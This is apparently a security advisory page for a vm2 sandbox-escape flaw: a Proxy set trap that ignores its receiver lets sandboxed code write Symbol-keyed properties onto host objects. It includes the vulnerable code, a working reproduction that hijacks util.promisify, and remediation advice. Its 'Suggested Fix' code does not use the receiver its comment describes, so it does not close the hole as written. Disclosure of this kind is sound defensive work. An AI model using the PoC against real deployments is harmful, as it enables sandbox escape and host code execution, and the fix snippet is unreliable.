Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Primary rating from Vendor (https://github.com/patriksimek/vm2).
CVSS VectorVendor: https://github.com/patriksimek/vm2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Lifecycle Timeline
2Blast Radius
ecosystem impact- 88 npm packages depend on vm2 (4 direct, 84 indirect)
Ecosystem-wide dependent count for version 3.11.4.
DescriptionCVE.org
Summary
The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.
This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.
Vulnerable Code
// bridge.js:1231-1260
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
// ...
try {
value = otherFromThis(value);
return otherReflectSet(object, key, value) === true;
// BUG: 'receiver' is never used.
// Should check if receiver !== proxy and handle accordingly.
} catch (e) {
throw thisFromOtherForThrow(e);
}
}Impact
Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:
// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST sideCombined with the Symbol.for coverage gap, this enables semantic confusion attacks:
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'Reproduction
const { VM } = require('vm2');
const util = require('util');
const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);
vm.run(`
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFn);
child[kCustom] = function() {
return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
};
`);
// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUGSuggested Fix
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
return this.setPrototypeOf(target, value);
}
if (key === 'constructor' && thisArrayIsArray(object)) {
thisReflectSet(target, key, value);
return true;
}
try {
value = otherFromThis(value);
// When receiver is not the proxy itself, set on receiver (this-realm)
// instead of the host target to preserve prototype-chain semantics.
return otherReflectSet(object, key, value) === true;
} catch (e) {
throw thisFromOtherForThrow(e);
}
}AnalysisAI
Sandbox escape in vm2 (npm) versions ≤ 3.11.3 allows untrusted code running inside the VM to write arbitrary properties - including dangerous Symbol-keyed properties like nodejs.util.promisify.custom - onto host-realm objects via a Proxy set-trap receiver-handling flaw. Because any inheriting child object (Object.create(hostObj)) becomes a write channel into the host, attackers can hijack host control flow when the host later dispatches through the polluted slot, escalating from sandbox integrity loss to host-realm code execution. Publicly documented reproduction exists in the GHSA advisory; no public exploit identified at time of analysis and not on the CISA KEV list.
Technical ContextAI
vm2 is a Node.js sandbox library (pkg:npm/vm2) that uses ES2015 Proxy-based bridges to mediate every reference flowing between the sandbox realm and the host realm. ECMA-262 §9.5.9 specifies that a Proxy [[Set]] trap receives a Receiver argument identifying the original recipient of the assignment, and the trap must install the property on the receiver (not the proxy target) when Receiver !== proxy - i.e., when the write reaches the proxy via prototype-chain walking. In lib/bridge.js, BaseHandler.set discarded receiver and unconditionally invoked otherReflectSet(object, key, value) against the wrapped host object, violating the spec. The root-cause class is CWE-693 (Protection Mechanism Failure): the bridge's write-side guards assume direct proxy.x = v writes through the canonical proxy receiver, but inherited-receiver writes silently bypassed those guards. Sibling traps (ReadOnlyHandler.set, ProtectedHandler.set) coincidentally honored receiver, so BaseHandler was the lone divergent path covering every non-intrinsic host object the embedder exposes.
RemediationAI
Vendor-released patch: upgrade vm2 to 3.11.4 or later (https://github.com/patriksimek/vm2/releases/tag/v3.11.4), which contains the receiver-gated install-on-receiver fix in lib/bridge.js (commit 26d0318b5e6555be4b187ba05d6cf378ccecfe22) mirroring ReadOnlyHandler.set semantics. Run npm ls vm2 (and check transitive lockfiles such as package-lock.json/yarn.lock) to identify direct and indirect consumers, then npm install vm2@^3.11.4 and rebuild deployment artifacts. Note that vm2 has been deprecated by the maintainer in favor of isolated-vm; teams should evaluate migrating to a V8-isolate-based sandbox rather than relying on Proxy-bridge designs, as this class of cross-realm property-trap bug has recurred repeatedly. If immediate patching is impossible, the only effective compensating control is to stop passing host-realm objects/functions into the sandbox (no setGlobal/sandbox of host functions; instead expose only primitives or deep-cloned plain-data) - bridge-side patching cannot be retrofitted from outside the library; broad mitigations like 'restrict who can submit code' help reduce exposure but do not close the bug. Refer to the GHSA advisory and ATTACKS.md Category 32 for the full primitive list.
Same weakness CWE-693 – Protection Mechanism Failure
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-36440
GHSA-c4cf-2hgv-2qv6